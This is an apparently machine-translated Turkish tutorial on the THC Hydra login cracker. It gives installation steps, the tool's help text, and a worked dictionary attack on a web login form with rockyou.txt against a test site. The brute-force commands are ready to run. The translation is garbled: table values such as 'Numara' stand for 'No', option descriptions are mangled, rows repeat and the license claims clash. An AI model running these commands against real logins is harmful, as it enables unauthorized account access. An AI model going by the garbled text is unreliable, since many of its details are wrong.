Parola, teknik olarak, kaynakların kimliğini doğrulamak veya kaynaklara erişim sağlamak için kullanılan gizli karakter dizisi olarak tanımlanır. Gizli tutulmalı ve bu kaynaklara erişmesine izin verilmeyen başkalarından saklanmalıdır. Şifreler, bilgisayarların ilk günlerinden beri bilgisayarlarda kullanılmaktadır. İlk paylaşım sistemlerinden biri olan 1961 yılında tanıtılmıştır. Kullanıcı şifresi isteyen bir giriş komutuna sahipti. ŞİFRE yazıldıktan sonra sistem mümkünse yazdırma mekanizmasını kapatır, böylece kullanıcı şifresini gizlilik içinde yazabilir.
Bir parolanın gücü, uzunluk, karmaşıklık ve tahmin edilemezliğin bir işlevidir. Tahmin etmeye veya kırmaya direnmedeki etkinliğini ölçer. Zayıf şifreler ise kişisel/kurumsal e-postalara, finansal bilgiler, işletme bilgileri, kredi kartları gibi hassas verilere tahmin etmek ve erişim sağlamak için gereken süreyi kısaltır.
Çeşitli saldırı şemalarının güçlü yönlerine karşılık gelen bir parolanın zayıf olmasının birçok yolu vardır. Bu tür kimlik bilgisi saldırılarının en popüleri kaba kuvvettir. uygulama programı veya hack aracı tarafından kullanılan şifre veya veri şifreleme gibi tahmin etme, şifrelenmiş verileri çözmeye çalışma gibi bir deneme yanılma yöntemidir.
Hydra, sayısız saldırı protokolünü destekleyen en hızlı ağ oturum açma kırıcısıdır. Çok hızlı ve esnektir ve yeni modüllerin eklenmesi kolaydır. Bu araç, araştırmacıların ve güvenlik danışmanlarının bir sisteme uzaktan yetkisiz erişim elde etmenin ne kadar kolay olacağını göstermelerini mümkün kılar. Hydra, van Hauser tarafından yazılmıştır ve ayrıca David Maciejak tarafından desteklenmektedir. En son güncellemede hidra geliştirmesi, https://github.com/vanhauser-thc/thc-hydra adresindeki genel github deposuna taşındı.
Hydra, Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX,QNX/Blackberry üzerinde derlemek için test edildi ve özel bir OpenSSL lisans genişletmesiyle GPLv3 altında kullanıma sunuldu.
THC Hydra şu protokolleri destekler: Cisco AAA, Cisco auth, Cisco etkinleştirme, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 ve v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC ve XMPP.
HYDRA'NIN DİĞER ÇATLAMA TAKIMLARI İLE KARŞILAŞTIRILMASI
Hydra'nın yanında çok sayıda oturum açma kırma aracı da vardır, ancak hiçbiri hydra'nın yaptığı gibi çok sayıda protokol ve paralelleştirilmiş oturum açma kırma desteğini desteklemez. Aşağıdaki tablolar özelliklerin, hizmetlerin ve medusa ve ncrack ile hız karşılaştırmasının sonucunu göstermektedir.
Özellikleri
Özellik | hidra | Deniz anası | ncrack |
Lisans | AGPLv3 | GPLv2 | GPLv2 + Nmap terimleri |
IPv6 Desteği | Evet | Numara | Numara |
Grafik Kullanıcı Arayüzü | Evet | Evet | Numara |
Uluslararasılaştırılmış destek (RFC 4013) | Evet | Numara | Numara |
HTTP proxy desteği | Evet | Evet | Numara |
SOCKS proxy desteği | Evet | Numara | Numara |
Desteklenen protokoller | 51 | 22 | 7 |
Hizmetler
Hizmet | Detaylar | hidra | Deniz anası | ncrack |
ADAM-6500 | Evet | Numara | Numara | |
AFP | Evet | Evet | Numara | |
yıldız işareti | Evet | Numara | Numara | |
Cisco Şifresi | Evet | Numara | Numara | |
Cisco Etkinleştir | Evet | Numara | Numara | |
özgeçmiş | Evet | Evet | Numara | |
ateş kuşu | Evet | Numara | Numara | |
FTP | Evet | Evet | Evet | |
SSL desteği | AUTH TLS ve SSL üzerinden FTP | AUTH TLS ve SSL üzerinden FTP | Numara | |
HTTP | Yöntem(ler) | AL, BAŞLA, YAYINLA | ELDE ETMEK | ELDE ETMEK |
Temel Yetkilendirme | Evet | Evet | Evet | |
HTTP Formu | Yöntem(ler) | AL, YAYINLA | AL, YAYINLA | Numara |
SSL desteği | HTTPS | HTTPS | Numara | |
HTTP Proxy'si | Temel Yetkilendirme | Evet | Numara | Numara |
DIGEST-MD5 Yetkilendirme | Evet | Numara | Numara | |
NTLM Yetkilendirmesi | Evet | Numara | Numara | |
SSL desteği | HTTPS | Numara | Numara | |
HTTP PROXY URL Numaralandırma | Evet | Numara | Numara | |
ICQ | v5 | Evet 1 | Numara | Numara |
IMAP | GİRİŞ desteği | Evet | Evet | Numara |
AUTH GİRİŞ desteği | Evet | Numara | Numara | |
AUTH PLAIN desteği | Evet | Evet | Numara | |
AUTH CRAM-MD5 desteği | Evet | Numara | Numara | |
AUTH CRAM-SHA1 desteği | Evet | Numara | Numara | |
AUTH CRAM-SHA256 desteği | Evet | Numara | Numara | |
AUTH DIGEST-MD5 desteği | Evet | Numara | Numara | |
AUTH NTLM desteği | Evet | Evet | Numara | |
AUTH SCRAM-SHA1 desteği | Evet | Numara | Numara | |
SSL desteği | IMAPS & BAŞLANGIÇLAR | IMAPS & BAŞLANGIÇLAR | Numara | |
IRC | Genel sunucu şifresi | Evet | Numara | Numara |
OPER modu şifresi | Evet | Numara | Numara | |
LDAP | v2, Basit destek | Evet | Numara | Numara |
v3, Basit destek | Evet | Numara | Numara | |
v3, AUTH CRAM-MD5 desteği | Evet | Numara | Numara | |
AUTH DIGEST-MD5 desteği | Evet | |||
AUTH NTLM desteği | Evet | Evet | ||
AUTH SCRAM-SHA1 desteği | Evet | |||
SSL desteği | IMAPS & BAŞLANGIÇLAR | IMAPS & BAŞLANGIÇLAR | ||
IRC | Genel sunucu şifresi | Evet | ||
OPER modu şifresi | Evet | |||
LDAP | v2, Basit destek | Evet | ||
v3, Basit destek | Evet | |||
v3, AUTH CRAM-MD5 desteği | Evet | |||
v3, AUTH DIGEST-MD5 desteği | Evet | |||
MS-SQL | Evet | Evet | ||
MySQL | v3.x | Evet | Evet | |
v4.x | Evet | Evet | ||
v5.x | Evet | Evet | ||
NCP | Evet | Evet | ||
NNTP | Kullanıcı desteği | Evet | Evet | |
AUTH GİRİŞ desteği | Evet | |||
AUTH PLAIN desteği | Evet | |||
AUTH CRAM-MD5 desteği | Evet | |||
AUTH DIGEST-MD5 desteği | Evet | |||
AUTH NTLM desteği | Evet | |||
SSL desteği | SSL üzerinden STARTTLS ve NNTP | |||
kehanet | Veri tabanı | Evet | Evet | |
TNS Dinleyici | Evet | |||
SID Numaralandırma | Evet | |||
PC-NFS | Evet | |||
pcAnywhere | Yerel Kimlik Doğrulama | Evet | Evet | |
İşletim Sistemi Tabanlı Kimlik Doğrulama (MS) | Evet | |||
POP3 | Kullanıcı desteği | Evet | Evet | Evet |
APOP desteği | Evet | |||
AUTH GİRİŞ desteği | Evet | Evet | ||
AUTH PLAIN desteği | Evet | Evet | ||
AUTH CRAM-MD5 desteği | Evet | |||
AUTH CRAM-SHA1 desteği | Evet | |||
AUTH CRAM-SHA256 desteği | Evet | |||
AUTH DIGEST-MD5 desteği | Evet | |||
AUTH NTLM desteği | Evet | Evet | ||
SSL Desteği | POP3'LER & BAŞLANGIÇLAR | POP3'LER & BAŞLANGIÇLAR | POP3'ler | |
PostgreSQL | Evet | Evet | ||
yıldız işareti | Evet | |||
RDP | Windows İş İstasyonu | Evet | Evet | Evet |
Windows Server | Evet | Evet | ||
Etki Alanı Yetkilendirmesi | Evet | Evet | ||
REDIS | Evet | Numara | ||
REEXEC | Evet | Evet | ||
GİRİŞ | Evet | Evet | ||
RPCAP | Evet | Numara | ||
RSH | Evet | Evet | ||
RTSP | Evet | Numara | ||
SAP R / 3 | Evet | |||
Siemens S7-300 | Evet | |||
Yudumlamak | Evet | |||
SSL desteği | SSL üzerinden SIP | |||
KOBİ | NetBIOS Modu | Evet | Evet | Numara |
W2K Yerel Modu | Evet | Evet | Evet | |
karma modu | Evet | Evet | Numara | |
Metin Yetkilendirmesini Temizle | Evet | Evet | ||
LMv1 Yetkilendirme | Evet | Evet | Evet | |
LMv2 Yetkilendirme | Evet | Evet | Evet | |
NTLMv1 Yetkilendirme | Evet | Evet | Evet | |
NTLMv2 Yetkilendirme | Evet | Evet | Evet | |
SMTP | AUTH GİRİŞ desteği | Evet | Evet | |
AUTH PLAIN desteği | Evet | Evet | ||
AUTH CRAM-MD5 desteği | Evet | |||
AUTH DIGEST-MD5 desteği | Evet | |||
AUTH NTLM desteği | Evet | Evet | ||
SSL desteği | SMTPS & BAŞLANGIÇLAR | SMTPS & BAŞLANGIÇLAR | ||
SMTP Kullanıcı Numarası | VRFY cmd'si | Evet | Evet | |
EXPN cmd'si | Evet | Evet | ||
RCPT'DEN cmd'ye | Evet | Evet | ||
SNMP | v1 | Evet | Evet | |
v2c | Evet | Evet | ||
v3 | (Yalnızca MD5/SHA1 yetkilendirmesi) | |||
ÇORAP | v5, Şifre Doğrulama | Evet | ||
SSH | v1 | Evet | ||
v2 | Evet | Evet | Evet | |
SSH Anahtarları | v1, v2 | Evet | ||
Yıkım (SVN) | Evet | Evet | ||
Takım konuşması | TS2 | Evet | ||
telnet | Evet | Evet | Evet | |
XMPP | AUTH GİRİŞ desteği | Evet | ||
AUTH PLAIN desteği | Evet | |||
AUTH CRAM-MD5 desteği | Evet | |||
AUTH DIGEST-MD5 desteği | Evet | |||
AUTH SCRAM-SHA1 desteği | Evet | |||
VMware Yetkilendirme Arka Plan Programı | v1.00 / v1.10 | Evet | Evet | |
SSL desteği | Evet | Evet | ||
VNC | RFB 3.x şifre desteği | Evet | Evet | |
RFB 3.x kullanıcı+şifre desteği | (Yalnızca UltraVNC) | |||
RFB 4.x şifre desteği | Evet | Evet | ||
RFB 4.x kullanıcı+şifre desteği | (Yalnızca UltraVNC) |
Hız Karşılaştırması
Hız (s cinsinden) | hidra | Deniz anası | ncrack |
1 Görev / FTP modülü | 11.93 | 12.97 | 18.01 |
4 Görev / FTP modülü | 4.20 | 5.24 | 9.01 |
16 Görev / FTP modülü | 2.44 | 2.71 | 12.01 |
1 Görev / SSH v2 modülü | 32.56 | 33.84 | 45.02 |
4 Görev / SSH v2 modülü | 10.95 | Bozuldu | Eksik |
16 Görev / SSH v2 modülü | 5.14 | Bozuldu | Eksik |
Bu, hidraya kısa ve basit bir girişti. Şimdi kuruluma geçelim.
HYDRA'NIN KURULMASI
Hydra, kali linux'a önceden yüklenmiştir, ancak farklı bir işletim sisteminiz varsa, onu derleyip sisteminize kurabilirsiniz. Şu anda, hidra'nın farklı platformlardaki desteği:
- Tüm UNIX platformları (Linux, *bsd, Solaris, vb.)
- MacOS (temelde bir BSD klonu)
- Cygwin'li Windows (hem IPv4 hem de IPv6)
- Linux, MacOS veya QNX tabanlı mobil sistemler (ör. Android, iPhone, Blackberry 10, Zaurus, iPaq)
Hydra'yı indirmek, yapılandırmak, derlemek ve kurmak için terminale yazmanız yeterlidir:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Ubuntu/Debian'ınız varsa, bazı bağımlılık kitaplıklarına ihtiyacınız olacak:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Bu kitaplıkları havuzunuzda bulamadıysanız, bunları manuel olarak indirip yüklemeniz gerekir.
HİDRA NASIL KULLANILIR
Tebrikler, artık sisteminize hidra kurmayı başardınız. Aslında Hydra, GUI-gtk ve benim en sevdiğim CLI sürümü olmak üzere iki çeşitle birlikte gelir. ve ayrıca hydra'nın ayrıca hidra sihirbazı olarak adlandırılan CLI kılavuzlu versiyonu da vardır. Tüm komutları veya argümanları manuel olarak terminale yazmak yerine adım adım yönlendirileceksiniz. Hydra'yı çalıştırmak için terminal türünüzden:
CLI için:
hydra
CLI sihirbazı için:
hydra-wizard
GUI için:
xhydra
'Hydra' yazdıktan sonra aşağıdaki gibi yardım komutları görüntülenecektir:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Hydra ile Bruteforce web tabanlı giriş
Hydra, daha önce bahsettiğim gibi bazı kaba kuvvetleme hizmetlerini destekler, bunlardan biri sosyal medya oturum açma formu, kullanıcı bankacılığı oturum açma formu, yönlendirici web tabanlı oturum açma vb. gibi web tabanlı oturum açma işlemlerini kaba kuvvet yapmak için kullanılır. Bu http[s]-get-form bu isteği ele alacak olan. Bu eğitimde size savunmasız web oturum açmalarını nasıl kaba kuvvet uygulayacağınızı göstereceğim. Hydra'yı ateşlemeden önce aşağıdaki gibi bazı gerekli argümanları bilmeliyiz:
- Hedef : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Kullanıcı adını gir : yönetici (emin değilseniz, bunu bruteforce)
- Şifre listesi : Olası parolaları içeren sözlük dosyası listesinin konumu.
- Form parametreleri : genel olarak, istek parametreleri formunu elde etmek için kurcalama verilerini veya proxy'yi kullanın. Ama burada iceweasel, firefox tabanlı, ağ geliştirici araç çubuğunu kullanıyorum.
- Servis modülü : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Tarayıcı, iceweasel/firefox kullanarak posta parametrelerinin alınması
Firefox tarayıcınızda ' tuşlarına basın CTRL + ÜST KRKT + Q '. Ardından web giriş sayfasını açınhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, ağ geliştirici sekmesinde bazı metinlerin göründüğünü fark edeceksiniz. Bize hangi dosyaların aktarıldığını söyler. Henüz herhangi bir veri POST yapmadığımız için hepsinin GET yöntemine bakın.
Post-form parametrelerini elde etmek için, kullanıcı adı ve/veya parola formuna istediğinizi yazın. Ağ geliştirici sekmesinde yeni bir POST yöntemi göreceksiniz. Bu satıra çift tıklayın, Başlıklar sekmesinde sağ taraftaki Düzenle ve Yeniden Gönder düğmesine tıklayın. İstek Gövdesinde aşağıdaki gibi son satırı kopyalayın: tfUName = asu & tfUPass = raimu . NS tfUAdı ve tfUPas ihtiyacımız olan parametrelerdir. Aşağıda görüldüğü gibi:
Kali linux'un bir sürü kelime listesi vardır, uygun kelime listesini seçin veya sadece rockyou.txt yerini kullanın. /usr/share/kelime listeleri/ aşağıda görüldüğü gibi:
Pekala, şimdi ihtiyacımız olan tüm argümanları aldık ve hidrayı ateşlemeye hazırız. İşte komut kalıbı:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Komutları parçalayalım:
- NS : kullanıcı adı hesabını içeren bir kelimedir, bir dosyadaki olası kullanıcı adlarının listesine atıfta bulunmak için -L kullanın.
- P : olası parolaların bir dosya listesidir, tahmin etmek yerine kelimenin tam anlamıyla tek kelimelik parolayı kullanmak için -p kullanın.
- testapp.vunlwebapp.com : bir ana bilgisayar adı veya hedeftir
- http-post-form : kullandığımız servis modülüdür
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^KULLANICI^&tfUPass=^PASS^:S=oturumu kapat = gerekli 3 parametre, sözdizimi:
{page URL}:{Request post body form parametreleri}:S={Başarıyla oturum açtıktan sonra sayfada ne varsa bulun} - v = Ayrıntılı mod
- V = oturum açmayı göster:her deneme için geçiş
- F = Çift oturum açma:şifre bulunursa programı sonlandırın
Şimdi hydra bizim için şifreyi kırmaya çalışsın, sözlük saldırısı olduğu için zamana ihtiyacı var. Bir çift login:password hydra bulmayı başardığınızda, işi derhal sonlandıracak ve geçerli kimlik bilgilerini gösterecektir.
Hydra'nın yapabileceği çok şey var, çünkü bu eğitimde hydra kullanarak web tabanlı oturum açmayı nasıl bruteforce yapacağımızı öğrendik, sadece bir protokol öğreniyoruz, o da http-post-form protokolü. Hydra'yı ssh, ftp, telnet, VNC, proxy vb. gibi başka bir protokole karşı da kullanabiliriz.